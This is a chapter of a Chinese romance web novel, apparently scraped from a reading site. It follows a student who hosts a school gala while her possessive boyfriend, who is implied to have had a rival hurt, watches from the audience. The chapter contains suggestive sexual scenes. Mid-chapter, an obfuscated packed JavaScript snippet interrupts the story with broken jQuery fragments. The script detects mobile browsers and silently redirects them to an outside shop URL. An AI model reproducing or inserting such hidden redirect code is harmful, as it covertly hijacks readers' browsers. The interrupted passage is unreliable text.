12.教唆

作品:《好运降临

    沈灼音因为沈恩怡而造成的坏情绪没有持续太久,闻镜听抬着她的下巴吻了下来,完全地转移了她的注意。


    他的衬衫变得很凌乱,每一道皱褶都是她造成的,平时规矩束在裤腰和皮带里的衬衣下摆,不知什么时候被她抽了出来。


    被吻得迷迷糊糊的时候,她也不忘把手放进他衬衣底下,清晰感受着肌肉轮廓。


    沈灼音觉得自己不是故意的,她也不知道手为什么会跑到那里。


    他吸吮着她的唇瓣,舌尖撬开她的齿关,细细地描摹着她口腔中的上膛,带来密密的酥麻感受,如同过电般在她身体里流窜。


    沈灼音睁开眼睛,却对视上一双清醒的、凛冽的眼眸。还不待她反应,闻镜听的手掌抚上她的后颈缓缓扣住,不许她逃离,掌心的温度灼烫着她颈后细腻柔软的肌肤。


    她感觉口中的呼吸都被他掠夺走了,完全失去争夺主权的能力,被动地在他的带领下回应着这个吻。


    许久结束的时候,她还下意识地贴上去想要继续吻,呼吸不稳地喘着气。


    明明是恒温的室内,可她身上似乎出了一层薄汗。


    闻镜听抚着她的背,帮她顺着气,问道:“宝宝对跨年有没有什么计划?”


    距离跨年只剩下一周多的时间。


    沈灼音想了想,这是他们恋爱后的第一个跨年夜,还挺有意义的。


    但她实在不擅长安排计划,语气不自觉地带着撒娇的意味,“哥哥安排吧。”


    毕竟,比起如何安排一周后的跨年夜,眼下她更想要继续这个吻。


    沈灼音急躁地咬他的唇瓣,闻镜听一点点地仰起头,她就一点点跟着贴了上去,像是一只被冻干零食勾走的小狗。


    好可爱。


    闻镜听摸了摸她下巴和脖子之间的那块皮肤,仿佛是在逗弄小动物。


    “好乖。”


    “宝宝眼睛湿漉漉的,像小狗。”


    沈灼音不确定是不是刚才那个吻,让她缺氧了。她呆呆地看着眼前的人,觉得自己晕乎乎的。


    天还没暗,阳光从落地窗外透进来,倾洒在他们身上,分外明媚。衬得他墨色的眼眸像是难以见底的深渊一般,足以吸纳进万事万物,却又不会有任何的反馈。


    闻镜听的手往上抬了些,捏住她的下巴,她的唇瓣和齿关都微微分开。微张的唇缝里,他看见她柔软的小舌。


    他的嗓音沉缓,说不出是引导还是蛊惑。


    “听话。”


    “舌头伸出来。”


    /


    对于几天后的跨年夜,闻镜听做了细致地安排,从礼物到约会,从地点到内容,甚至是她的礼服都为她安排好了。


    虽然时常说她是小比宝宝,但是比起闻镜听,她实在算不上高精力。他的行动力强得吓人,这些完整的安排是他在一天里计划好的。


    沈灼音也越发期待起来。


    但计划赶不上变化,隔天她被辅导员叫到了办公室,在场的还有一位院领导和教授。


    “学校新年晚会原定好了主持人,其中一位家中老人突然病危,不得不赶回外地家里。所以主持人空出了一个位置,找不到合适的人选。”


    “灼音你要不要来试试,我们都很看好你。”


    沈灼音想要委婉拒绝,但三人的劝说之下,她实在推脱不得,便答应下来。


    回到家告诉闻镜听,他看着她为难的模样,却只说:“音音有这样的机会,我很开心。”


    “别担心我,音音专注忙你的事情就好。”


    加上最近没课的时间都跟着大家彩排、过流程,和他相处的时间大大减少,沈灼音更愧疚了,只好每天晚上尽可能地补偿闻镜听。


    于是予取予求,几乎没有不答应他的。


    因为需要穿礼服,所以除了露在晚礼裙之外的皮肤,晚礼裙之下的胸腰腿上处处布着吻痕。


    时间一晃而过,很快到了晚会那天。


    沈灼音大早上就出了门,忙了一整天。在上台之前,给闻镜听发着消息。


    “对不起哥哥qaq”


    “今天我不是小比是小鸽子”


    “只能下次再和哥哥浪漫约会了”


    闻镜听原先为了和她过跨年夜,推了今天所有的工作。她出门后,他就待在家里等她回来。


    沈灼音想,听起来就很孤独。


    如果爱是常常感到愧疚,那么她今天真的有爱他很多...


    意外的,闻镜听竟没有秒回。


    这样的情况少之又少,沈灼音很难不去想他是不是生气了。虽然他温柔包容,大多数时候都不和她计较什么,但毕竟是他精心安排的,她又临时鸽了他。


    她心底惴惴的,但仔细说来,中间也就是几分钟而已。


    临上台之前,还是没有收到闻镜听的消息,沈灼音抿了抿唇只能把手机先锁进她在更衣室的柜子里。


    晚会主持人不只有两位,四人一起走上舞台,走位是提前彩排过的,手卡上的台词她练习过很多次,分外熟悉。聚光灯落在身上,让人看不清台下观众的神情,也就无从紧张。


    某个瞬间福至心灵,沈灼音定睛朝着最前方那一排看去。她分外熟悉的身影就赫然坐在最中间的位置,他手边的座位牌上没有写姓名,只挂了个校友的名头。


    他向来低调,竟为了她出席这样的场合。


    在“大腹便便”或头发稀疏看起来就很有学问的领导中间,闻镜听显得尤为惹人注意。


    他噙着温和的笑靠坐在那,双腿随意交叠着,看上去斯文又矜贵,而他只看向她,为台上的她鼓着掌。


    来了故意不告诉她,害她平白担心。


    沈灼音在心底嗔怪着,还是不由地为他的出现而感觉到欣喜和安心。


    只要他在,她好像就有无尽的底气。


    开场主持环节结束,进入第一个表演节目。沈灼音从台上下来,负责晚会的领导轻拍了拍她的肩膀,“台风很稳,看起来不像是不常主持活动啊。是不是为了和男朋友去约会,故意找的托词?”


    沈灼音莞尔谢过对方的夸赞,等到领导走远,另外一位女主持人快步从她身边走开,像是很不愿意和她站在一块似的。


    四周的议论声再次多了起来。


    “前段时间系里有个男生就是因为她摔断了腿,那个男生还是个富二代呢。结果那天她姐来闹,说她在外边还有个金主,难怪一般的人她看不上。”


    “原来就是她啊,听说是私生女来着。”


    “之前本来定的主持人不是她啊,怎么突然换成她了,你说是不是...”


    ......


    自从沈恩怡上次来大闹一场,当天发生的事情迅速传开来,在口口相传中演变出许多版本,关于她的传言越发丰富了起来,甚至很多就连她自己都没听说过。


    沈灼音并非不在意外界的声音。


    曾经她也会着急地一遍遍解释“我不是这样的”“这些事我没有做过”,但没有人会停下来听她说完。从中学那几年之后她就很清楚,在意也没有用,人只会相信他们想相信的。


    她敛了眼眸,将手中的台本翻过一页,继续练习着下一部分。


    晚会逐渐到了尾声。


    其中一个环节是给来宾和领导们送花,数十位来宾和领导,竟恰好将她分到了给闻镜听送花的位置上。


    刚才在台上站得远没能看清,此时目光不动声色地扫过他交叠的双腿,发现他大腿处的西裤面料微微显出一道环形的轮廓。


    沈灼音愣了愣,随即反应过来,闻镜听今天居然极为正式地穿戴上了衬衫夹。


    他很重视这个场合。


    也很重视他看到她主持的第一场晚会,即便它只是一场校内小型的新年晚会。


    沈灼音上前一步,将手中捧着的花束递到闻镜听的面前。


    她的心底胀胀的。


    如果不是在这里,她真想立刻扑进他的怀里。好吧,她承认,除了拥抱之外,她也很想戳一戳他的衬衫夹。


    闻镜听接过那捧花时,他竟轻轻地挠了挠她的掌心。明明平时牵过那么多次手,十指相扣或是被他拢进掌心,甚至更亲密的事情都做过了,可是这一触即分的触碰,却如过电般,酥麻迅速传递开来。


    分明是going来的...


    无人发现两人的暗流涌动。


    沈灼音怔愣着,他却端得“冠冕堂皇”,温和笑笑:“谢谢同学。”


    可那双眼眸却是那样直白。


    她想要躲避他的视线,垂眸时却意外地瞥见某处...


    他竟然...?!


    沈灼音努力克制自己的脸别红,但耳廓还是因为羞赧而红透了,转身跟着队伍一起退回了后台,颇有几分落荒而逃的意思。


    闻镜听看着她小跑离开的背影,似乎空气都被她搅动变得凌乱。他精准地捕捉着空气里余留的一抹香甜,放任嗅觉深深地沉溺其中。


    量体裁衣的西装裤本该分外妥帖,此刻却因为她而变得紧绷,怎么也压抑不下去。


    没办法。


    谁叫他的音音在舞台的模样那样自信明媚,她眼底的光亮似乎要胜过舞台上的聚光灯。


    好美...


    他的音音...


    直到沈灼音回到后台,那种心跳急促的感觉仍未散去。


    他怎么能在这里就...


    她摇了摇头,用手背贴着脸颊,试图给自己降温,不敢再继续想了。


    很快,沈灼音和其他主持人一起回到舞台上,进行最后地结束语环节。


    她始终不与闻镜听对视。


    她很清楚,一旦她的目光和他相撞,她的大脑一定会宕机几秒。


    晚会正式结束。


    彩带落下的瞬间,她看见闻镜听无声的口型,“宝宝。”


    “*了,怎么办。”


    被她偷偷发现还不够。


    他还要在人声鼎沸里亲口告诉她。


    /


    沈灼音逃也似的回到后台。


    她动作迅速地在后台更衣室里把晚礼服换下来,拿上更衣柜里的东西就要往外走,却忽然在后台看到一位许久未见的身影。


    是那位给她送过情书的男同学周致。


    他拄着两边拐杖,脸上的几道擦伤还未恢复,看起来很狼狈。


    沈灼音本不打算寒暄,毕竟他们的关系可以算得上尴尬。


    更何况闻镜听在等她。


    笑着点点头就算是打过招呼,即将错身而过的瞬间,周致叫住了她。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121146|195320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “沈灼音,我可以耽误你几分钟吗?”


    “我本来不想打扰你,但是最近学校里传得沸沸扬扬,说我是因为你才摔断腿的,我怕你误会,所以还是想来和你说一声。”


    再让闻镜听等她两分钟,应该也没关系吧...


    沈灼音的脚步顿住,想了想,还是决定问问他受伤的情况,“还没来得及问你是怎么受伤的,最近恢复得怎么样?”


    周致苦笑地抬起一边拐杖,“近期可能都要靠拐杖了。”


    “我不是自己摔的,是那天离校走楼梯的时候被人撞到了,所以和你没关系,你别多想。”


    沈灼音确实这样想过。


    她担心是因为她拒绝后,让对方情绪不佳,才不小心摔成这样。


    “怎么会撞得这么严重?”


    周致回想着那天发生的事,“我不太确定对方是不是故意的,那个人戴了墨镜,穿着黑色西装,很魁梧,撞完我就头也没回地走开了。”


    她问道:“这个打扮是保镖吗?还是打手?”


    别院里的保镖就是黑色西装戴墨镜。


    周致不确定地摇了摇头。


    “我从台阶上滚下去之后,看到台阶的顶端站着另一个男人。他出现的很奇怪,周围一个人都没有,他居高临下地看着我,压迫感太强了。明明看不清脸,但是我却有一种……被蛇紧紧盯着的感觉。”


    他说得太吓人,沈灼音的眉头也跟着皱起来,“有监控吗?或者你记得他什么特征吗?有没有找辅导员陪你去报警。”


    “我查过那里的监控,损坏了还没维修,所以什么都没拍到。”


    “背着光看不清他的长相,但是我看到他手上把玩着一个金属的物件,好像是一个药盒。”


    “什么?”


    几乎是瞬间她联想到了闻镜听,但片刻后她又否定了自己的想法。


    不会的。


    他向来温和包容,怎么会与一个素昧平生的大学生结怨。


    “我看得不太清楚,应该是一个药盒,也有可能是个打火机?我不确定。”


    “也有可能。”


    “或许是个zippo什么的。”


    周致踌躇片刻,还是把心底的话说出了口,“我刚刚站在后台,看到你给那位荣誉校友送花了。他是你的男朋友吗,你和他对视的时候,目光变得很不一样。”


    “而且我看到你们手上有情侣对戒。”


    沈灼音下意识地看向自己手上的戒指。


    “嗯,我们是恋人,有什么问题吗?”她不知道这个问题和他前面说的那些事情有什么关联。


    “这样说可能有点冒昧,但是……我觉得那天我看见的人,很像你的男朋友。”


    沈灼音狠狠地皱紧眉头。


    “确实很冒昧,他是一个很善良包容的人,怎么可能做那样的事?希望你不要乱说。”


    “希望你早日康复,我先走了。”


    她说完,就头也不回地往外走。


    如果是揣测她,她尚且可以忍耐,但这样揣测闻镜听,她完全接受不了。


    他明明对她这么好,怎么可能是那样的人。


    沈灼音从后台的演出通道走出来时,远远看见闻镜听的库里南停在礼堂外边。


    见她走近,黑衣保镖为她拉开了车门。


    没由来的,她多看了两眼保镖。


    好像确实很魁梧。


    沈灼音坐进车里,闻镜听没有错过她面上异常的神色,问道:“怎么了?”


    她摇了摇头,应声道:“没什么。”


    这年头随身带药盒的人不多,随身带金属药盒的人就更少了。


    再加上他所说的黑衣保镖,光是这么听起来,真有几分隐隐指向闻镜听的意思。


    还是说,周致故意说这些,在挑拨她和闻镜听的关系?


    也不乏有这种可能。


    司机正要驾驶车辆出发,忽然方才那一帮校领导赶到,讨好谄媚地敲响了车窗。


    闻镜听神色隐隐不耐,半降下车窗。


    沈灼音靠坐在另一侧,余光却忽然看见座椅上有一摸银色的反光。


    她转头去看,是闻镜听的金属药盒,不知什么时候从他大衣的口袋里掉了出来。


    药盒表面的雕刻繁复,是一条盘踞的蛇,刻得十分精美,栩栩如生。


    鬼使神差的,沈灼音打开了那个药盒。


    里边的药片无色无味,也没有刻上药名的字样,完全看不出来是什么。


    她无端产生疑问,这真的是vc吗。


    她往嘴里喂了一粒,苦得她脸色一变,连忙吐了出来。


    碍于闻镜听不耐地神色,领导们只匆匆道几句“希望您下次还能莅临指导”之类的话语,便不再自讨没趣地说什么。


    闻镜听回过头,恰好看见沈灼音皱眉吐出药片的模样,他的眉头微不可察地蹙了一下,随即又恢复自然。


    沈灼音举着药盒问他,“你不是说里面是vc吗?但这明明是苦的。”


    他静静地看着她,并不着急解释。


    她抗拒吃药,发烧的时候都要他哄很久才愿意吃退烧药,更不会主动试药盒里的东西,即便只是维生素补剂。


    那么,是谁教唆了他的音音。